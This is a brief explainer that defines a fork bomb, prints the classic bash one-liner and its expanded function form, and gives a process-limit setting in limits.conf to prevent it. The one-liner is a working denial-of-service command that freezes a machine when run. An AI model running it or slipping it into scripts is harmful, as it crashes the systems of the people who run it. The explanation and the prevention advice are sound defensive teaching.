What is a fork bomb?

A fork bomb is a DoS attack where a process continuously replicates itself and depletes the system resources

Implementation

    :(){ :|: &};:

Replacing : with fork_bomb, this line can be expanded to:

fork_bomb() {
    fork_bomb | fork_bomb &
}
fork_bomb

Prevention

Set a hard limit on number of processes/threads that can be created by a non root user. Add * hard nproc nnn to /etc/security/limits.conf where nnn is the limit you want to apply.